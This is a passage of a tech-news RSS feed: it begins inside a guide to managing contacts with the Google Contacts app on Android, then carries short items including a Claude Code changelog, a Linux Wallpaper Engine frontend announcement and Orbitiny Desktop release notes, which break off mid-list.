<li>Make sure your main Google account is present and has its toggle active on the screen that comes up next. If you don’t see it, tap the “Add account” option to add it into the mix.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-01-samsung-accounts-list.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of samsung contacts app - sync accounts screen" class="wp-image-4173348" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Both your Samsung account <em>and</em> your Google account need to be added and set to sync in the Samsung Contacts app.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Got it? Good. Now, go <a href="https://play.google.com/store/apps/details?id=com.google.android.contacts" target="_blank" rel="noreferrer noopener">download the Google Contacts app</a> from the Play Store. Open it up and approve the permissions it needs to operate. Then make a point to start using <em>it </em>instead of Samsung’s silliness (which, by the by, Samsung won’t let you uninstall or even disable) from here on out.</p>



<p>If you’re using an older Samsung device and the steps described above don’t quite match what you’re seeing, poke around in the Contacts app until you find a similar set of options. They <em>should</em> be there somewhere; the specifics of the interface have just evolved somewhat over the years, so older versions of the app may not be exactly the same.</p>



<p>If you have a non-Google-made phone from someone other than Samsung, meanwhile, check to see if your contacts app is the actual Google Contacts app or not. If it isn’t — and if your device-maker gave you some other random alternative in its place — poke around in <em>that</em> app and try to find a similar set of options for syncing everything over to your Google account. If that isn’t possible, find the option to export your contacts from that app and then look for the import option within the Google Contacts Android app to get to the same spot.</p>



<h2 class="wp-block-heading">Part II: Android contacts accounts and labels</h2>



<p>Now that we’re all looking at the same place and dealing with the same best-available Android contacts management option, let’s take a few minutes to get the lay of the land, shall we?</p>



<p>When you first open the Google Contacts app on Android, you’ll see a merged view of all contacts from every Google account you have connected to the phone. But take note: If you tap the “All contacts” line toward the top of the screen, you can switch to seeing contacts associated with only one individual Google account at a time — assuming you have multiple Google accounts connected — instead of seeing them combined together all at once.</p>



<p>That could be useful if, say, you have both a work account and a personal account connected to your device — or maybe you’re a freelancer and you have <em>multiple </em>work-related accounts connected for different purposes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-02-accounts.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of accounts list in google contacts app" class="wp-image-4173347" width="1024" height="992" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app makes it easy to see contacts from individual accounts or all of your connected accounts together.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>If you tap the triangular three-line icon to the right of the “All contacts” dropdown, meanwhile, you’ll find a few filtering options that could be helpful as alternatives to the large search bar at the top of the screen — if, for instance, you need to find a contact and only know the name of their company but also can’t quite <em>think </em>of that company’s name and need a prompt. Tap that icon, select “Company,” and you’ll see a list of every company name in your contacts that you can scroll through and select to apply as a filter.</p>



<p>Finally, if you tap the outlined arrow-like shape to the left of the filter icon, you’ll see a list of any labels you’ve created for your contacts. Labels in Google Contacts work exactly like <a href="https://www.computerworld.com/article/1663877/how-to-use-gmail-labels-to-tame-your-inbox.html">labels in Gmail</a>: You can create as many as you like, and you can apply any number of labels onto any given contact. They’re less like folders, in other words, and more like stickers — or, y’know, <em>labels </em>— in that there’s no limit to how many any particular contact can have.</p>



<p>So why would you want to bother with labels, you might be wondering? Well, I’ll tell ya: They’re a splendid way to break that mess of mammals in your life down into specific, meaningful groups instead of always viewing ’em in one gigantic lump.</p>



<p>Maybe, for instance, you’d have a label called “Work” that includes everyone from your current company. And maybe you’d have a separate label called “Team” that’s even more narrow and shows only the people you directly work with. Maybe you’d have another label for clients, another for specific <em>subsets</em> of clients, and another for all the people in your life named Josh.</p>



<p>Once you do that initial organization, you’ll have an easy way to limit your view to only the individuals you need at any given moment — and you’ll gain a couple of other easily overlooked advantages, too, as we’ll explore further in a moment.</p>



<p>First, to apply a label onto a contact once you’ve created it:</p>



<ul class="wp-block-list">
<li>Tap the contact to open it.</li>



<li>Tap the pencil-shaped editing icon in its upper-right corner.</li>



<li>Scroll down and look for the “Labels” option.</li>



<li>Tap it, then select whichever label or labels you want to add onto that contact and tap “OK” to save.</li>
</ul>



<p>If you want to apply a label onto <em>multiple</em> contacts at the same time:</p>



<ul class="wp-block-list">
<li>Tap the label icon — that arrow-like shape we were just talking about a moment ago, on your main contacts list — then select the label you want to use.</li>



<li>Tap the icon that looks like an outline of a person with a plus sign next to it, in the upper-right corner of the screen, and then select whichever contacts you want to add into the label by tapping them all once.</li>



<li>When you’re finished selecting, tap the “Done” option in the upper-right corner of the screen, and all of the contacts you selected will be added in one fell swoop.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-03-label-add.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of a label and the contacts associated with it in google contacts app" class="wp-image-4173345" width="1024" height="334" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Once you open a specific label within the Android Contacts app, you can see everyone who’s associated with it and add in new contacts en masse.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Capisce? Capisce. Now, let’s move on to some even more advanced Android contacts goodness.</p>



<h2 class="wp-block-heading">Part III: Advanced Android contacts enhancements</h2>



<p>When you first tap a person’s name within the Google Contacts app on Android, you’ll see a screen with their profile appear.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-04-contact-profile.jpg?quality=50&amp;strip=all&amp;w=1016" alt="screenshot of a contact profile page in google contacts app" class="wp-image-4173351" width="1016" height="1024" sizes="auto, (max-width: 1016px) 100vw, 1016px"><figcaption class="wp-element-caption"><p>Anyone you store in your contacts on Android will have a custom profile that puts all your notes and info about them in a single place.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>A smattering of interesting features worth noting here:</p>



<ul class="wp-block-list">
<li>As of a <a href="https://www.computerworld.com/article/4042396/new-google-pixel-phone-features.html#:~:text=New%20Pixel%20Phone%20feature%20%231%3A%20Your%20custom%20calling%20card">relatively recent addition</a>, the Google Contacts app allows you create a custom calling card that adds a background image into the top of that person’s profile <em>and</em> controls exactly what you see on your screen anytime they call you. If you aren’t seeing a background image in this area already, as illustrated above, look for the option to add a calling card — which should appear in that same general space.</li>



<li>You can also <a href="https://theintelligence.com/42519/android-calling-card/" target="_blank" rel="noreferrer noopener">create your <em>own</em> custom calling card</a> that controls how <em>you</em> show up by default on <em>other</em> people’s devices — provided they’re also using the Google Contacts app on Android, of course — if you’re ever so inspired.</li>



<li>And if you’ve had any interactions with a contact, you’ll be able to see a quick overview of that activity in the “Recent activity” area beneath that — along with any notes you’ve created for the person within their contact profile.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-05-weather-activity-notes.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of contact details page in google contacts app - includes recent interactions and weather" class="wp-image-4173350" width="1024" height="984" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Your contacts’ profiles can contain all sorts of useful extras, ranging from an overview of your recent interactions with the person to a live look at the weather in their area.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>To edit a profile, as you’d probably guess, you’ll just tap the pencil-shaped editing icon in the upper-right corner of the screen.</p>



<p>And one more advanced Android contacts option worth mentioning: Directly next to that pencil icon, you’ll see a hollow star in the upper-right corner of every contact’s profile. You can tap that to fill the star in and mark that person as a favorite.</p>



<p>Doing so will have some significant effects:</p>



<ul class="wp-block-list">
<li>That person will always appear at the top of your contacts list.</li>



<li>They’ll also typically show up in a special, more prominent area of your Phone app for extra-easy access (and if they don’t, try <a href="https://play.google.com/store/apps/details?id=com.google.android.dialer" target="_blank" rel="noreferrer noopener">downloading the Google-made Phone app</a> and using it in place of whatever alternative your phone’s maker preinstalled in its place).</li>



<li>And they’ll be granted special privileges to reach you even when your phone is in Do Not Disturb mode, with the specifics depending on your preferences in that area of your system settings.</li>
</ul>



<h2 class="wp-block-heading">Part IV: Android contacts optimization</h2>



<p>One of the best features of the Google Contacts service is how easy it makes it to clean up and optimize your contacts collection.</p>



<p>From the Contacts app on your phone, tap the “Organize” tab at the bottom of the screen — then:</p>



<ul class="wp-block-list">
<li>Tap the “Merge &amp; Fix” option.</li>



<li>Look to see what suggestions the app gives you, then tap ’em one by one and follow the steps within.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-06-merge-and-fix.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of merge and fix screen in google contacts app" class="wp-image-4173346" width="1024" height="445" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app offers intelligent suggestions for quickly cleaning up your contacts.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Google Contacts will identify any instances where it looks like you’ve got two separate contact entries for the same person and then offer to quickly combine them for you. It’ll also let you know when it’s found more up-to-date contact info for anyone in your list. And it’ll offer to add in entries for anyone you email often but haven’t yet added.</p>



<p>Easy peasy, right?</p>



<p>And last but not least, for the virtual icing on your Android contacts cake…</p>



<h2 class="wp-block-heading">Part V: Android contacts actions</h2>



<p>Once you’ve gotten your contacts created, organized, and cleaned up properly, the Google Contacts app on Android has several advanced actions that are all too easy to miss.</p>



<ul class="wp-block-list">
<li>You can use the Contacts app as an efficient way to start a new group email or text message thread with any selection of people you want. Just make sure the people are all in the same label, then tap the label icon in the app’s upper-right corner and select the label. Next, tap the three-dot menu icon in the upper-right corner of the label screen and look for the “Send email” or “Send message” option.</li>



<li>The Contacts app can also serve as an all-in-one hub for initiating communication with anyone in your collection. Open someone’s profile, and you’ll see one-tap icons for calling them, texting them, emailing them, or starting a Google Meet video call with them — all without ever having to poke around in any other apps.</li>



<li>If you want even easier access to certain high-profile people, check out the Google Contacts widget options: Long-press on any open area of your home screen, select the option to add a widget, and then look for the Contacts section. There, you should see options for adding square-shaped widgets that show a person’s photo along with one-tap links for calling or texting them as well as simpler icon-like <em>shortcuts </em>for calling or texting a specific contact. In the latter case, you can add as many of those as you want onto your home screen and even drag ’em on top of each other once they’re there to create convenient folders.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-07-widget.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of google contacts widget on android home screen" class="wp-image-4173349" width="1024" height="397" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app’s widgets are a wonderful way to keep one-tap shortcuts for calling or messaging important people close by.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<ul class="wp-block-list">
<li>Speaking of calling convenience, if there’s a certain contact who calls you a little <em>too</em> often — an overly eager recruiter or maybe that blasted cousin of yours (come on, Carl!) — the Google Contacts app has an easy way to automatically route all of their calls directly to your voicemail. Just open the person’s profile within the app, then scroll down and look for the “Send to voicemail” option — or look a little lower for “Block numbers,” if you <em>really</em> never want to hear from them again.</li>



<li>In that same area of a contact profile is a speedy shortcut for setting a custom ringtone for any contact so it’s especially easy to identify them (or hide in the nearest underground bunker) whenever they call.</li>



<li>And don’t overlook the recently added “Reminders” section, where you can store dates like birthdays and anniversaries and create reminders around ’em, in addition to having ’em appear within the app itself.</li>
</ul>



<p>Last but not least, the real beauty of the Google Contacts setup on Android: It works equally well no matter what type of device you’re using.</p>



<p>On any phone you move into in the future, you can simply install the Google Contacts app, if it isn’t already in place, and all your stuff will instantly be there, synced, and available to you — no restoring required. And if you ever want to poke around or update your contacts from a computer, all you’ve gotta do is <a href="https://contacts.google.com/" rel="nofollow noopener" target="_blank">pull up the Google Contacts website</a> in any browser where you’re signed in.</p>



<p>So the Android contacts situation isn’t exactly straightforward, as you’ve seen. But once you get it under control, it absolutely <em>can </em>be easy and effective — and, with a teensy bit of advance planning, an important piece of your mobile productivity puzzle.</p>



<p><em>This article was originally published in November 2022 and updated in July 2026.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Setup.exe: Wie Windows 95 Installationsdateien erkannte]]></title>
<description><![CDATA[Windows 95 hat sich einer der einfachsten Techniken für Problemlösungen bedient: Es hat einfach geraten. (Windows 95, Windows)]]></description>
<link>https://tsecurity.de/de/3659266/it-nachrichten/setupexe-wie-windows-95-installationsdateien-erkannte/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659266/it-nachrichten/setupexe-wie-windows-95-installationsdateien-erkannte/</guid>
<pubDate>Fri, 10 Jul 2026 11:32:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Windows 95 hat sich einer der einfachsten Techniken für Problemlösungen bedient: Es hat einfach geraten. (<a href="https://www.golem.de/specials/windows95/">Windows 95</a>, <a href="https://www.golem.de/specials/windows/">Windows</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210744&amp;page=1&amp;ts=1783675202" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Turn On AutoJump in Minecraft: Quick Setup Tutorial]]></title>
<description><![CDATA[If you’ve ever wondered how to turn on autojump in Minecraft, you’re not alone. Minecraft has quite a few biomes and none of them are completely flat. You can create a flat world if you’re interested in building, but you will always find there are blocks to jump over. Jumping isn’t a complicated ...]]></description>
<link>https://tsecurity.de/de/3658836/betriebssysteme/how-to-turn-on-autojump-in-minecraft-quick-setup-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658836/betriebssysteme/how-to-turn-on-autojump-in-minecraft-quick-setup-tutorial/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:48 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you’ve ever wondered how to turn on autojump in Minecraft, you’re not alone. Minecraft has quite a few biomes and none of them are completely flat. You can create a flat world if you’re interested in building, but you will always find there are blocks to jump over. Jumping isn’t a complicated maneuver in […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/auto-jump-minecraft/">How to Turn On AutoJump in Minecraft: Quick Setup Tutorial</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GnomePaper Engine: A native GTK4 frontend for Steam Wallpaper Engine]]></title>
<description><![CDATA[Hey r/linux. I wanted a proper, native way to browse and run my Steam Wallpaper Engine library on GNOME without fighting the system. I’ve been working on this for a bit and finally feel like it’s in a good enough place to share. It's built natively for GNOME and works out of the box on both Wayla...]]></description>
<link>https://tsecurity.de/de/3658548/linux-tipps/gnomepaper-engine-a-native-gtk4-frontend-for-steam-wallpaper-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658548/linux-tipps/gnomepaper-engine-a-native-gtk4-frontend-for-steam-wallpaper-engine/</guid>
<pubDate>Fri, 10 Jul 2026 04:09:01 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey <a href="https://www.reddit.com/r/linux">r/linux</a>. I wanted a proper, native way to browse and run my Steam Wallpaper Engine library on GNOME without fighting the system. I’ve been working on this for a bit and finally feel like it’s in a good enough place to share. It's built natively for GNOME and works out of the box on both Wayland and X11.</p> <p>​Here is what it can do:</p> <p>​Native UI: Built with GTK4 and libadwaita so it actually looks and feels like it belongs on your GNOME desktop.</p> <p>​Workshop Integration: Search and download new wallpapers straight from the app (it uses SteamCMD to handle the heavy lifting).</p> <p>​Video &amp; Scene Support: Plays video backgrounds smoothly using GStreamer, and fully supports interactive scene wallpapers powered by the awesome linux-wallpaperengine project under the hood.</p> <p>​Set it and forget it: You can configure it to launch automatically at login, restore your last used wallpaper, and run silently in the background.</p> <p>​A quick note on ownership:</p> <p>To respect the original developers, this app does not bypass Steam DRM or ownership checks. You absolutely still need to own Wallpaper Engine on Steam for this to work. You link your account with one click (no passwords are ever stored or seen by the app) to access your Workshop downloads.</p> <p>​It’s fully open-source (MIT), and I’ve put together setup instructions for Fedora/Nobara, Ubuntu/Debian, and Arch Linux.</p> <p>​You can check out the source code and installation instructions on the GitHub repo here:</p> <p><a href="https://github.com/WiseManChris/GnomePaper-Engine">GnomePaper</a></p> <p>This is my 2nd piece of software I've ever released so I'd love to hear your feedback, bug reports, or any feature requests you might have. Let me know what you think! </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/AdministrationBusy37"> /u/AdministrationBusy37 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1us3bl5/gnomepaper_engine_a_native_gtk4_frontend_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1us3bl5/gnomepaper_engine_a_native_gtk4_frontend_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.206]]></title>
<description><![CDATA[What's changed

Added directory path suggestions to /cd, matching /add-dir behavior
Added a /doctor check that proposes trimming checked-in CLAUDE.md files by cutting content Claude could derive from the codebase
/commit-push-pr now auto-allows git push to the repo's configured push remote (remot...]]></description>
<link>https://tsecurity.de/de/3658504/downloads/v21206/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658504/downloads/v21206/</guid>
<pubDate>Fri, 10 Jul 2026 03:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added directory path suggestions to <code>/cd</code>, matching <code>/add-dir</code> behavior</li>
<li>Added a <code>/doctor</code> check that proposes trimming checked-in <code>CLAUDE.md</code> files by cutting content Claude could derive from the codebase</li>
<li><code>/commit-push-pr</code> now auto-allows <code>git push</code> to the repo's configured push remote (<code>remote.pushDefault</code>, or the sole remote when only one is configured) in addition to <code>origin</code></li>
<li>Gateway: <code>/login</code> now supports Anthropic-operated public gateway endpoints</li>
<li><code>EnterWorktree</code> now asks for confirmation before entering a git worktree outside the project's <code>.claude/worktrees/</code> directory</li>
<li>Background agents now upgrade to a new version in the background right after a Claude Code update, instead of paying a slow stale-session upgrade when you attach</li>
<li>Fixed an expired login failing every model with a misleading "There's an issue with the selected model" error instead of prompting to run <code>/login</code></li>
<li>Fixed <code>claude --resume</code> and <code>--continue</code> not responding to keyboard input on startup</li>
<li>Fixed MCP servers configured via <code>--mcp-config</code> or <code>.mcp.json</code> ignoring a per-server <code>request_timeout_ms</code>, which caused long-running MCP tool calls to time out at the 60s default in fresh sessions</li>
<li>Fixed <code>CLAUDE_CODE_EXTRA_BODY</code> being silently ignored by <code>claude agents</code> / <code>--bg</code> background workers; the shell-exported override now follows the dispatching session</li>
<li>Fixed OAuth MCP servers requiring manual re-authentication after a single failed token refresh</li>
<li>Fixed <code>--permission-prompt-tool</code> pointing at an MCP server crashing with "MCP tool not found" on cold start before the server finishes connecting</li>
<li>Fixed <code>/model</code> picker rows printing a price for a different model than the row named, and stopped quoting first-party list prices on providers that don't bill them</li>
<li>Fixed server-provided model rows being misplaced in the <code>/model</code> picker when an entitlement or allowlist restriction drops the row they were positioned against</li>
<li>Fixed desktop sessions getting stuck showing "running" after a slash command was sent mid-turn</li>
<li>Fixed keyboard input being ignored in the agents view when a setup prompt appeared before a bare <code>claude --resume</code> on Windows</li>
<li>Fixed <code>claude rm</code> leaving the removed job in the daemon roster, causing the row to reappear in <code>claude agents</code></li>
<li>Fixed <code>/remote-control</code> showing "Unknown command" when logged out — it now explains how to sign in</li>
<li>Fixed left arrow not stepping back out of a phase or agent in the workflow detail view</li>
<li>Fixed <code>/status</code> listing the same broken-install warning twice</li>
<li>Fixed false "disused plugin" tips and skewed disuse telemetry for LSP plugins</li>
<li>Fixed <code>/doctor</code>'s update check to compare Homebrew installs against their cask's channel instead of the settings channel</li>
<li>Fixed the fullscreen jump-to-bottom pill suggesting Ctrl+End on macOS, not showing rebound chords, and wrapping over the transcript</li>
<li>Bedrock: fixed a multi-minute startup hang when using an <code>awsCredentialExport</code> helper on networks with restricted egress</li>
<li>Improved <code>/code-review</code> findings quality on claude-opus-4-8 across all effort levels</li>
<li>Improved agents view: status column now uses full terminal width instead of truncating at 64 characters</li>
<li>Changed agents view: Ctrl+X now permanently removes a completed session, and sessions no longer render twice; deleted background jobs stay deleted</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mac Keyboard Setup Assistant Keeps Popping Up? Here’s the Fix]]></title>
<description><![CDATA[Some Mac users may encounter an unusual situation where a “Keyboard Setup Assistant” application opens at random on their Mac, even if they already connected and setup a keyboard to use with their computer. The Keyboard Setup Assistant might pop up completely randomly, when the computer is woken ...]]></description>
<link>https://tsecurity.de/de/3658278/ios-mac-os/mac-keyboard-setup-assistant-keeps-popping-up-heres-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658278/ios-mac-os/mac-keyboard-setup-assistant-keeps-popping-up-heres-the-fix/</guid>
<pubDate>Thu, 09 Jul 2026 23:09:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Some Mac users may encounter an unusual situation where a “Keyboard Setup Assistant” application opens at random on their Mac, even if they already connected and setup a keyboard to use with their computer. The Keyboard Setup Assistant might pop up completely randomly, when the computer is woken from sleep, when the computer is freshly ... <a class="read-more" href="https://osxdaily.com/2026/07/09/mac-keyboard-setup-assistant-keeps-popping-up-heres-the-fix/">Read More</a></p>
<p>The post <a href="https://osxdaily.com/2026/07/09/mac-keyboard-setup-assistant-keeps-popping-up-heres-the-fix/">Mac Keyboard Setup Assistant Keeps Popping Up? Here’s the Fix</a> appeared first on <a href="https://osxdaily.com/">OS X Daily</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Orbitiny Desktop Pilot X Released - The Most Substantial and Most Difficult Release Ever]]></title>
<description><![CDATA[Well, the long anticipated Orbitiny Desktop Pilot X has finally been released. Orbitiny Desktop is a new, 100% portable, innovative and traditional desktop environment for Linux + X11 (with potential Wayland support in the future). It is developed in C++ and Qt. This is the biggest, most difficul...]]></description>
<link>https://tsecurity.de/de/3658144/linux-tipps/orbitiny-desktop-pilot-x-released-the-most-substantial-and-most-difficult-release-ever/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658144/linux-tipps/orbitiny-desktop-pilot-x-released-the-most-substantial-and-most-difficult-release-ever/</guid>
<pubDate>Thu, 09 Jul 2026 22:10:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Well, the long anticipated Orbitiny Desktop Pilot X has finally been released. Orbitiny Desktop is a new, 100% portable, innovative and traditional desktop environment for Linux + X11 (with potential Wayland support in the future). It is developed in C++ and Qt.</p> <p>This is the biggest, <em>most difficult</em> and substantial update ever released to date and it features a brand new dynamic theming system along with <em>many</em> new features and many, many bug fixes.</p> <p>People that have been checking <a href="https://orbitiny.com/orbitiny-pilot-x-released/">Orbitiny's website</a> as well as the Orbitiny's <a href="https://www.reddit.com/r/Orbitiny/">subreddit</a> are well aware of what I've been working on as I have continuously been posting updates over the several months and there are simply no words to describe the sheer amount of work I have spent working on this project especially <em>the last three months</em> and all the problems I went through. I have literally replaced the entire foundation of the project for nearly every component part of the project.</p> <p>This spans the entire source tree even code dating back to 2017 when I started with a blank window. I had to redesign everything and that lead to breaking other perfectly working components and I had to fix them and I think I covered them all. That's why it's been taking me so long to release this version. Due to the vast amount of changes I had to do, the old configurations and themes are no longer compatible.</p> <p>Anyway, enough talk, let's get to the important stuff - the change log.</p> <p>Note, for a full changelog and plenty of screenshots demonstrating some of the new features, please visit <a href="https://orbitiny.com/">Orbitiny's website</a> as this subbredit does not allow me to post inline screenshots.</p> <p><strong>New Features:</strong></p> <ul> <li><strong>New</strong>: A brand new Control Panel has been implemented with an integrated sidebar and a comprehensive System Information tool.</li> <li><strong>New</strong>: Panel docking – Now you can dock the panel to any area of the screen by grabbing an empty area and then dragging the panel to a screen edge. There is no "Edit Mode", it works directly like docking a toolbar in an office application. The panel can be resized by grabbing the panel’s border/edge and then dragging the pointer (no edit, it works directly) once the cursor changes shape.</li> <li><strong>New</strong>: Panel docking again – You can also dock the panel by pressing and holding on an applet while the CTRL key is down and then dragging the panel to a screen edge as stated above.</li> <li><strong>New</strong>: Panel: Implemented panel scrolling. You can now scroll the content with the wheel button. It will only not scroll the panel when you hover over applets that capture the wheel event (because some applets use it to scroll their content) so that they can scroll their content instead when the wheel button is moved up or down. Once the pointer is moved over a non-scrollable applet and you wheel up or down, then it will scroll the panel content.</li> <li><strong>New</strong>: X11 Window Buttons: Added a side button next to the windows list panel applet which brings up a searchable list of running windows. Clicking on it performs the same action as clicking on the icon button.</li> <li><strong>New</strong>: X11 Window Buttons: Also introduced scrolling to the X11 Window Buttons applet. When there are two many windows open, use the wheel button to scroll the icons representing the buttons.</li> <li><strong>New</strong>: Quick Launch Applet: Completely new Quick Launch applet menu when the “..." button is clicked which is the button at the edge of the applet (next to the applet’s resize handle). This is now a replica of the Drawer Menu. This gives you a proper Drag&amp;Drop ability to rearrange items.</li> <li><strong>New</strong>: Applications Menu: A new category has been added called "Orbitiny Programs" - clicking on it gives you access to the Orbitiny control panel applets but they will run in their own window instead like a traditional application (because that's what they are).</li> <li><strong>New</strong>: Applications Menu: Another new category has been added “Local Programs” to the Applications Menu. This lists desktop files installed in $HOME/.local/share/applications. This has been here all the time but it’s hidden unless you hold the CTRL key when clicking the Applications Menu’s button (Orbitiny logo).</li> <li><strong>New</strong>: Qutiny now applies themes in real-time. This means the moment you edit + save any of the CSS files in the theme directory, the changes are reflected/applied immediately. This means it no longer requires a restart.</li> <li><strong>New</strong>: Qutiny File Browser - The tabs have been relocated to the top of the screen and the icon size slider to the bottom left corner.</li> <li><strong>New</strong>: Qutiny File Browser - The file search section components have been lined up into a single row rather than 3 separate rows. So now there is “File Search”, “Content Search” and the third one which is used to search for an additional word on the same line if the content is found.</li> <li><strong>New</strong>: Run Command: Converted the "Run Command" address bar applet into a button-like applet.</li> <li><strong>New</strong>: CPU load Monitor: Converted the CPU load monitor into a button-like applet.</li> <li><strong>New</strong>: SysTray: Improved the appearance of the SysTray applet - both in icon mode and integrated mode.</li> <li><strong>New</strong>: Panel: Completely redid the code that creates panel struts (reserved area on the screen for the panel) and with that eliminating some old bugs and moved the code in charge into an API.</li> <li><strong>New</strong>: Desktop: When you dock the panel to the edge of a screen, the desktop icons get pushed down, or up or to the left or to the right depending on where the panel is docked and this means the panel no longer covers the icons.</li> </ul> <p><strong>Bug Fixes:</strong></p> <ul> <li><strong>BugFix</strong>: Orbitiny's File Manager (Qutiny): Fixed icon emblems (cut, copy, symlink etc) not being positioned properly.</li> <li><strong>BugFix</strong>: A bug with the "Paste Image" function in the context menus. It worked intermittently after moving it to a separate thread.</li> <li><strong>BugFix</strong>: Fixed a Drag&amp;Drop issue in the Application Menu when pinning desktop files to the sidebar. Due to a coding error, it was failing to assign a desktop icon to the item being pinned. That is fixed.</li> <li><strong>BugFix</strong>: Fixed an unintentional panel docking to the sides of the screen when you clicked a panel handle or the button on the right-hand edge of the panel.</li> <li><strong>BugFix</strong>: Again related to the panel, fixed an intermittent panel crashing bug when you try to dock the panel with the panel handle to a screen edge.</li> <li><strong>BugFix</strong>: Fixed a massive performance hogging bug with the CPU load monitor.</li> <li><strong>BugFix</strong>: Fixed an issue with the Home button in the Applications Menu, Clicking on it was launching your home directory in the file manager determined by “xdg-open” rather than the one set by Orbitiny.</li> <li><strong>BugFix</strong>: Fixed spiltter issues in the application menu and file manager. There was an annoying bug that caused the widgets on the left side of the splitter to resize when the parent window size changed. In the file manager, this means resizing the file manager horizontally would cause the file manager’s sidebar to also resize. Likewise, maximizing and restoring the file manager’s window would also trigger the same issue. In the Application Menu, resizing the third pane made the first panel (left most panel) to also resize. It is all fixed.</li> <li><strong>BugFix</strong>: Orbitiny's File Manager (Qutiny): An Issue with the File Search – An intermittent issue where the user is unable to cancel an existing search operation or file browser crashing when clicking the tab’s close button.</li> <li><strong>BugFix</strong>: Orbitiny's File Manager (Qutiny): When pressing the “Delete” button on your keyboard, it would try to move the selected file(s) to the Trash even when files are not part of your home directory. This lead to a spam of message being shown on the screen advising you that the file cannot be moved to the trash and if you want to delete it instead. It’s not a problem if you have like 2-3 files selected but it is a problem if you have like 100 files selected (you’d get 100 message box prompts),</li> <li><strong>BugFix</strong>: Orbitiny's File Manager (Qutiny): – intermittently losing its settings when launched caused by a race condition like error where multiple code sections were trying to update settings.ini at the same (or few milliseconds apart) time.</li> <li><strong>BugFix</strong>: Orbitiny's File Manager (Qutiny): – When you have a selection of large amount of files and you select “Delete”, there was a delay from the moment you pressed Delete and the time you get the “Are you sure...” message prompt.</li> <li><strong>BugFix</strong>: 